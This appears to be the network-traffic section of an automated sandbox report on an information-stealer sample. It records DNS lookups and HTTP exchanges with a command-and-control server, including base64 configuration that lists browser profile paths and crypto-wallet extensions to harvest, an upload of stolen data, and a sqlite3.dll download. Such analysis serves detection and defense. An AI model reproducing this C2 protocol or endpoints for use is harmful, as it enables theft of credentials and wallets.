Dec 18, 2024 22:02:16.697894096 CET	53	65528	1.1.1.1	192.168.2.5
Dec 18, 2024 22:02:19.429477930 CET	53	51845	1.1.1.1	192.168.2.5
Dec 18, 2024 22:02:20.131827116 CET	53	54965	1.1.1.1	192.168.2.5
Dec 18, 2024 22:02:21.022543907 CET	53	63739	1.1.1.1	192.168.2.5
Dec 18, 2024 22:02:23.260325909 CET	64645	53	192.168.2.5	1.1.1.1
Dec 18, 2024 22:02:23.260684013 CET	60653	53	192.168.2.5	1.1.1.1
Dec 18, 2024 22:02:23.400552988 CET	53	64645	1.1.1.1	192.168.2.5
Dec 18, 2024 22:02:23.492682934 CET	53	60653	1.1.1.1	192.168.2.5
Dec 18, 2024 22:02:23.493664980 CET	53	53347	1.1.1.1	192.168.2.5

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 18, 2024 22:02:23.492799997 CET	192.168.2.5	1.1.1.1	c22d	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 18, 2024 22:02:16.558686972 CET	192.168.2.5	1.1.1.1	0x284f	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 22:02:16.558841944 CET	192.168.2.5	1.1.1.1	0x31ab	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 18, 2024 22:02:23.260325909 CET	192.168.2.5	1.1.1.1	0x4cf5	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 22:02:23.260684013 CET	192.168.2.5	1.1.1.1	0x647f	Standard query (0)	apis.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 18, 2024 22:02:16.697810888 CET	1.1.1.1	192.168.2.5	0x284f	No error (0)	www.google.com		142.250.181.132	A (IP address)	IN (0x0001)	false
Dec 18, 2024 22:02:16.697894096 CET	1.1.1.1	192.168.2.5	0x31ab	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 18, 2024 22:02:23.400552988 CET	1.1.1.1	192.168.2.5	0x4cf5	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 22:02:23.400552988 CET	1.1.1.1	192.168.2.5	0x4cf5	No error (0)	plus.l.google.com		142.250.181.46	A (IP address)	IN (0x0001)	false
Dec 18, 2024 22:02:23.492682934 CET	1.1.1.1	192.168.2.5	0x647f	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

www.google.com

185.219.81.135

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49706	185.219.81.135	80	3276	C:\Users\user\Desktop\ZXVcgrmGRM.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 22:02:07.633233070 CET	89	OUT	GET / HTTP/1.1 Host: 185.219.81.135 Connection: Keep-Alive Cache-Control: no-cache
Dec 18, 2024 22:02:08.878642082 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 21:02:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 18, 2024 22:02:09.024506092 CET	418	OUT	POST /c708352984fb7ac0.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIEHIIIJDAAAAAAKECBF Host: 185.219.81.135 Content-Length: 217 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 31 37 36 44 31 38 33 46 34 35 30 33 30 31 32 33 34 33 35 37 36 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 4c 6f 67 73 44 69 6c 6c 65 72 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 2d 2d 0d 0a Data Ascii: ------FIEHIIIJDAAAAAAKECBFContent-Disposition: form-data; name="hwid"D176D183F4503012343576------FIEHIIIJDAAAAAAKECBFContent-Disposition: form-data; name="build"LogsDiller------FIEHIIIJDAAAAAAKECBF--
Dec 18, 2024 22:02:09.798489094 CET	407	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 21:02:09 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 32 55 34 4e 32 49 34 4e 54 55 33 4f 54 55 35 4e 44 63 33 4d 6d 4d 31 4f 54 52 69 4d 32 59 78 4d 54 59 31 4e 6a 41 7a 4e 44 51 30 5a 47 59 32 4f 47 55 35 4f 54 51 35 4f 54 45 35 59 57 4e 6c 4f 54 49 31 4d 54 5a 6a 4f 47 55 34 4d 44 6b 7a 59 7a 41 77 4f 47 59 34 5a 47 56 69 4e 54 41 31 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 46 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: N2U4N2I4NTU3OTU5NDc3MmM1OTRiM2YxMTY1NjAzNDQ0ZGY2OGU5OTQ5OTE5YWNlOTI1MTZjOGU4MDkzYzAwOGY4ZGViNTA1fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDF8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Dec 18, 2024 22:02:09.800383091 CET	469	OUT	POST /c708352984fb7ac0.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJDGIECFCAKKFHIIIJE Host: 185.219.81.135 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 38 37 62 38 35 35 37 39 35 39 34 37 37 32 63 35 39 34 62 33 66 31 31 36 35 36 30 33 34 34 34 64 66 36 38 65 39 39 34 39 39 31 39 61 63 65 39 32 35 31 36 63 38 65 38 30 39 33 63 30 30 38 66 38 64 65 62 35 30 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 2d 2d 0d 0a Data Ascii: ------JJJDGIECFCAKKFHIIIJEContent-Disposition: form-data; name="token"7e87b85579594772c594b3f1165603444df68e9949919ace92516c8e8093c008f8deb505------JJJDGIECFCAKKFHIIIJEContent-Disposition: form-data; name="message"browsers------JJJDGIECFCAKKFHIIIJE--
Dec 18, 2024 22:02:10.193303108 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 21:02:09 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Dec 18, 2024 22:02:10.193381071 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Dec 18, 2024 22:02:10.195374012 CET	468	OUT	POST /c708352984fb7ac0.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHCBGDAAFBKEBGDHDBKE Host: 185.219.81.135 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 43 42 47 44 41 41 46 42 4b 45 42 47 44 48 44 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 38 37 62 38 35 35 37 39 35 39 34 37 37 32 63 35 39 34 62 33 66 31 31 36 35 36 30 33 34 34 34 64 66 36 38 65 39 39 34 39 39 31 39 61 63 65 39 32 35 31 36 63 38 65 38 30 39 33 63 30 30 38 66 38 64 65 62 35 30 35 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 42 47 44 41 41 46 42 4b 45 42 47 44 48 44 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 42 47 44 41 41 46 42 4b 45 42 47 44 48 44 42 4b 45 2d 2d 0d 0a Data Ascii: ------FHCBGDAAFBKEBGDHDBKEContent-Disposition: form-data; name="token"7e87b85579594772c594b3f1165603444df68e9949919ace92516c8e8093c008f8deb505------FHCBGDAAFBKEBGDHDBKEContent-Disposition: form-data; name="message"plugins------FHCBGDAAFBKEBGDHDBKE--
Dec 18, 2024 22:02:10.595494986 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 21:02:10 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Dec 18, 2024 22:02:10.595583916 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Dec 18, 2024 22:02:10.595623970 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Dec 18, 2024 22:02:10.595932961 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Dec 18, 2024 22:02:10.595967054 CET	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Dec 18, 2024 22:02:10.596643925 CET	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Dec 18, 2024 22:02:10.598443031 CET	469	OUT	POST /c708352984fb7ac0.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKFCFHJDBKKFHIEHIDG Host: 185.219.81.135 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 46 43 46 48 4a 44 42 4b 4b 46 48 49 45 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 38 37 62 38 35 35 37 39 35 39 34 37 37 32 63 35 39 34 62 33 66 31 31 36 35 36 30 33 34 34 34 64 66 36 38 65 39 39 34 39 39 31 39 61 63 65 39 32 35 31 36 63 38 65 38 30 39 33 63 30 30 38 66 38 64 65 62 35 30 35 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 43 46 48 4a 44 42 4b 4b 46 48 49 45 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 43 46 48 4a 44 42 4b 4b 46 48 49 45 48 49 44 47 2d 2d 0d 0a Data Ascii: ------IJKFCFHJDBKKFHIEHIDGContent-Disposition: form-data; name="token"7e87b85579594772c594b3f1165603444df68e9949919ace92516c8e8093c008f8deb505------IJKFCFHJDBKKFHIEHIDGContent-Disposition: form-data; name="message"fplugins------IJKFCFHJDBKKFHIEHIDG--
Dec 18, 2024 22:02:10.991323948 CET	335	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 21:02:10 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Dec 18, 2024 22:02:11.015415907 CET	202	OUT	POST /c708352984fb7ac0.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFBAECBAEGDGDHIEHIJJ Host: 185.219.81.135 Content-Length: 8263 Connection: Keep-Alive Cache-Control: no-cache
Dec 18, 2024 22:02:11.015454054 CET	8263	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 38 37 62 38 Data Ascii: ------KFBAECBAEGDGDHIEHIJJContent-Disposition: form-data; name="token"7e87b85579594772c594b3f1165603444df68e9949919ace92516c8e8093c008f8deb505------KFBAECBAEGDGDHIEHIJJContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Dec 18, 2024 22:02:11.806833029 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 21:02:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 18, 2024 22:02:12.543492079 CET	93	OUT	GET /de4fe4f133a5af6f/sqlite3.dll HTTP/1.1 Host: 185.219.81.135 Cache-Control: no-cache
Dec 18, 2024 22:02:12.935775042 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 21:02:12 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
